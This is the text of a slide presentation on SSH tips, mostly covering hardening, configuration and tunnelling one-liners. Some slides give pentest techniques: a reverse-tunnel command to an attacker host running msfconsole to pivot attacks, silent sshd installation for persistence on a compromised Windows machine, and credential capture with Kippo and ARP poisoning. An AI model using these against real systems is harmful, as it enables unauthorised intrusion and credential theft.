presentation nix

SSH Tricks and More!

Presented by Kyle Young

Who am I?• Just another computer technician• Obtaining my macro degree in network

administration from GRCC• Planning on getting a Bachelors degree in Digital

Forensics at FSU• Been tinkering with computers since I was in middle

school• Became obsessed with Information Security in 2005• Owner/Hoster of zitstif.no-ip.org• Administrator on HITB forums

Read this book if you want to learn more about SSH!

SSH, The Secure Shell: The Definitive Guide, 2nd EditionBy Daniel J. Barrett, Richard E. Silverman,Robert G. ByrnesPublisher: O'Reilly MediaReleased: May 2005Pages: 668

Presentation Note!

I WILL NOT BE COVERING THE PROPRIETARY VERSION OF SSH (Tectia)

SORRY!

Why do a presentation on SSH tricks?

• SSH is one of my favorite protocols• There have been plenty of articles and blog

posts on the subject – I thought it was time to kind of aggregate these and add some of my own tips/tricks

What is SSH?

• Is it a shell? … No• Is it a solution to all of your security

problems? … No

“Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices.” - en.wikipedia.org/wiki/SSh

SSH History

• SSH v1.X - Invented by Tatu Ylönen in 1995 • Created due to a password sniffing attack that

took place at Helsinki University of Technology• Created as a secure replacement for telnet,

rlogin and rsh protocols

SSH and You!• If you work in the information technology

realm, there’s a good chance you have used SSH before.

• The SSH Client is natively available on practically all Non-Windows Operating Systems

• Can be more quick and dirty than Remote Desktop

• Easier to use on a phone than Remote Desktop (You may want to check out ‘mosh’ http://mosh.mit.edu/ )

What can I use SSH for?

• For login to a shell on a remote host• For executing a single command on a remote

host (replacing rsh)• Secure file transfer • For forwarding or Tunneling• Forwarding X from remote hosts• The list goes on...https://en.wikipedia.org/wiki/Secure_Shell#Usage

SSH and Cyber Espionage

• Duqu Worm – (Nov 2011) Contained instructions to exploit a zero day vulnerability in OpenSSH 4.3 on CentOS systems– After compromising the system the worm then

updated OpenSSH to version 5.8

Speaking of SCADA/SSH...

“Another day, another SCADA threat: ICS-CERT is now warning utilities and other critical infrastructure providers about potential brute-force attacks against control systems with SSH command-line access. “- Kelly Jackson Higgins (darkreading.com)Feb 06, 2012

Basic SSH Usage

Insecurity Issues With Default Client Settings

Make sure your clients (and servers) are strictly using version 2 Or they may be vulnerable to version downgrade attacks!

You can also edit your ssh_config and changethe directive :Protocol 2

Downgrade attacks on SSH Clients

Image From http://openmaniak.com/

Downgrade attacks can be performed with ettercap-ng and ettercap-filters!

Connecting for the first time to an SSH Server: Do you know it’s safe?

http://www.itworld.com/it-managementstrategy/261500/16-ultimate-openssh-hacks

If you’re very paranoid, you’ll want to verify the RSA fingerprint and randomart image with what fingerprint your given when connecting.

To do so: On the server side you’ll have (usually requiring physical access to the Machine) You would need to do this:

sudo ssh-keygen -lvf /etc/ssh/ssh_host_rsa_key.pub

Then on your client side you want to edit your ssh_config file and set this option:

VisualHostKey yes

Connecting for the first time to an SSH Server: Do you know it’s safe?

http://www.itworld.com/it-managementstrategy/261500/16-ultimate-openssh-hacks

One issue with this: “Obviously you need a secure method of getting verified copies of the fingerprint and randomart images for the computers you want to log into. ” - Carla Schroder

One other thing.. Oh yeah Kippo can be ugly..

http://pauldotcom.com/wiki/index.php/Episode194#Tech_Segment:_Capturing_SSH_Credentials

An attacker can capture your SSHv2 credentials using Kippo:

•To do so an attacker needs to be in your local area network or spoofing the IP address or domain name of the SSH server host that the victim is trying to connect to.

•Setup Kippo to listen on the appropriate port

•If needed perform an ARP poisoning attack on the victim.

•Once the victim tries to connect they would most likelyget a mismatching fingerprint. However, with putty, an ignorant or hasty victim could simply click “YES”.

OK I’m connected…am I still safe? Not necessarily - Some versions of the openssh-server daemon will handle password authentication in clear text in memory!

Proof of concept: http://zitstif.no-ip.org/capturessh2.txt

#Tested on SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2 #Tested on SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1 #Tested on OpenSSH 5.2 (protocol 2.0) Fedora 11 Need to find the source on this

OK I’m connected…am I still safe? Watch out on your client side:Poor man’s SSH keylogger!

http://blog.diogomonica.com/post/3087360614/poor-mans-ssh-keylogger

Locking Down The Server Side:sshd_config is your friend!

https://www.linux.com/learn/tutorials/305769-advanced-ssh-security-tips-and-tricks

•This may be debatable, but change your ssh server’s listening port to something different than port 22.

• Again.. Make sure your ssh server is strictly using Protocol Version 2

•Do not permit root login!

•Permit/Deny only specific users or groups! (AllowUsers/AllowGroups Directive OR DenyUsers/DenyGroups)

Oh yeah..a quick note on changing the default port for ssh

http://danielmiessler.com/blog/security-and-obscurity-does-changing-your-ssh-port-lower-your-risk

Oh yeah..a quick note on changing the default port for ssh

http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html

•Disable PasswordAuthentication and authenticate only using keys

•Configure an Idle Log out time period (ClientAliveInterval XXX )

•Limit what interface/addresses SSHD binds to

•Limit the amount of authentication tries (MaxAuthTries )

http://www.uptimemore.com/password-retry-limits-ss.html

•Change the login grace time (LoginGraceTime)

•Oh yeah… disable empty passwords (Duh..) (PermitEmptyPasswords no)

Locking Down The Server Side:Programs to help you lock down your server

•If applicable use iptables (or pf) to permit/deny specific IP addresses/ranges

List of programs to help ward off dictionary attacks/brute force attacks on http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html(#16)

•Setup port-knocking!

Quick tips for speeding up SSHD loginsshd_config is your friend!

•Disable server side DNS look-ups if you don’t need it. (UseDNS No)

If you’re not using PAM with SSH then disable PAM(UsePAM No)

Client side configuration tipsssh_config is your friend!

http://www.evilsoft.org/2009/10/23/stupid-ssh-config-tricks

Are you sick of constantly typing in your passwords (if you’re using passwords) when doing additional connections when you’ve already authenticated to your ssh server?

Solution: Add this to your ssh_config file Host *ControlPath ~/.ssh/master-%r@%h:%pControlMaster auto

http://codeutopia.net/blog/2011/07/08/why-did-nobody-ever-tell-me-about-ssh_config/

Save yourself some keystrokes!

ssh –C –D 1234 user@example.com -p 5432

Edit your ssh_config file to something like this:

Host example example.comHostName example.com User userPort 5432

DynamicForward 1234 Compression Yes

Now you only need to type:ssh example

Are there any options to check for DNS spoofing?

CheckHostIP Yes

This will force ssh to do an additional check in the known_hosts file for the IP address of the server.

For more information on configuring sshd_configand ssh_config, please see:

man sshd_config && man ssh_config

Now for those beautiful client-sided one liners…(top 10 one liners from commandlinefu.com)

Client-sided one liners…(top 10 one liners from commandlinefu.com)

Client-sided one liners…(more awesome one liners from commandlinefu.com)

For more awesome one-liners from commandlinefu.com:

More awesome one-liners:http://diogomelo.net/blog/10/ssh-tricks

Don’t want to expose remote desktop via your firewall? You can still use it through ssh!:ssh –L 3389:192.168.1.100:3389 user@site.com

Put the ssh client in a very verbose mode for troubleshooting/debugging:ssh –vvv user@site.com

http://linuxaria.com/howto/trucchi-con-ssh?lang=en

More awesome one-liners:

http://www.linuxjournal.com/article/6602?page=0,1

http://unix.stackexchange.com/questions/2302/can-i-pipe-dev-video-over-ssh

Pipe webcam over ssh:

Client-sided one liners: Fun with the ‘-t’ option

Any programs that need a pseudo terminal screen to work and you need run quickly, use -t.

Examples:

ssh –t user@example.com “python”ssh –t user@example.com “irb”ssh –t user@example.com “ssh anotheruser@anotherhost.com”ssh –t user@example.com “msfconsole” ssh –t user@example.com “screen”ssh -t user@example.com “vi”

Client-sided one liners: Fun with reverse connections

Don’t have metasploit or any fancy info-sec security tools on your device that is connected to a LAN, but this device still has an SSH client on it?

NO PROBLEM!

Target host: 192.168.1.102Target port: 445Payload port: 4444

ssh –t –R 192.168.1.102:445:127.0.0.1:4445 –R 192.168.1.102:4444:127.0.0.1:4444 attacker@penbox.org “msfconsole”

Then through metasploit on your remote host you would point your attacks towards your loopback interface

Client-sided one liners (Poor man’s VPN/proxy)

This will bind a SOCKS server to port 9050 on the interface 192.168.1.100

OK big deal.. I know that.. What’s special about it?

What this means:

•You can now tunnel traffic securely between you the client, and example.com• If example.com’s subnet is 10.1.10.255, you can now access resources in that subnet via your tunnel, hence why this is a poorman’s VPN.•You can use programs like proxychains in tandem with SOCKS•NOTE: example.com’s hosts file (/etc/hosts) does affect the DNS name resolution of the SOCKS client

Client-sided one liners (Poor man’s VPN/proxy) Programs that play nicely with proxychains:

rdesktopnetcatsocatnmap hpingtelnetopenvasnessushydrawgetsshmetasploit (though not needed) (set Proxies socks5:localhost:1234) ncrack...(The list goes on)

Almost any application that works on *nix and relies on TCP/IP

Ways of setting up sshd the quick and dirty way…

Scenario 1:

Are you doing a pentest and you’re able to find a router that is compatible with openwrt or dd-wrt?

Upload it! Most versions of openwrt and dd-wrt support SSHD

Scenario 2:

You’ve popped a shell on a Windows box and you’d like to setup an SSHD server:

Copssh_3.1.4_Installer.exe /S

Copssadm --command activeuser –user USERNAME –shell /bin/bash

Ways of setting up sshd the quick and dirty way…

Meterpreter from the metasploit project now has a meterpreter script that can deploy an openssh server on Windows victims. (I must admit, the few times I’ve tried it, it has never worked for me!)

SSH and Window$SSH Clients on Windows:Putty, plink, psftp, ssh (cygwin) (there are a bunch.. http://en.wikipedia.org/wiki/Comparison_of_SSH_clients#Platform)

Probably one of the best guides for installing Cygwin w/ an openssh server on Windows:http://pigtail.net/LRP/printsrv/cygwin-sshd.html

NOTE: Follow the steps very closely!

Minimal/Easy Install options of cygwin with sshd: http://sshwindows.sourceforge.net/https://www.itefix.no/i2/copssh

For X11 forwarding over SSH, Install Xming and use putty: http://sourceforge.net/projects/xming/

Examples of languages that you can use for automating SSH:

Programming/Automating SSH

Python Example:

Programming/Automating SSH

Very good guide on paramiko: http://jessenoller.com/2009/02/05/ssh-programming-with-paramiko-completely-different/

Very good guide for getting around with IPv6 and show examples of SSH usage:

http://www.enterprisenetworkingplanet.com/netsp/article.php/3634596/Getting-Around-IPv6.htm

Things to check:

•Use ping6 to ping at least your lookback interface ::1•Use ping6 to ping ipv6 domain names: (i.e. ipv6.google.com)•Make sure your IPV6 server is setup to listen on an IPV6 address (NOTE: 0.0.0.0 in IPV6 is ::: )

Simple example using ssh and ipv6:

ssh user@2001:4860:800a::93

SSH and IPV6

Live Demo: SSH/Miredo/IPV6

Thanks Mubix! (http://www.room362.com/blog/2010/9/24/revenge-of-the-bind-shell.html )

Questions?

Postscript: man ssh

presentation nix

ssh tricks

ssh history ssh v1

basic ssh usage

quick note

nosecure shell

anssh server

version downgrade attacks

default port

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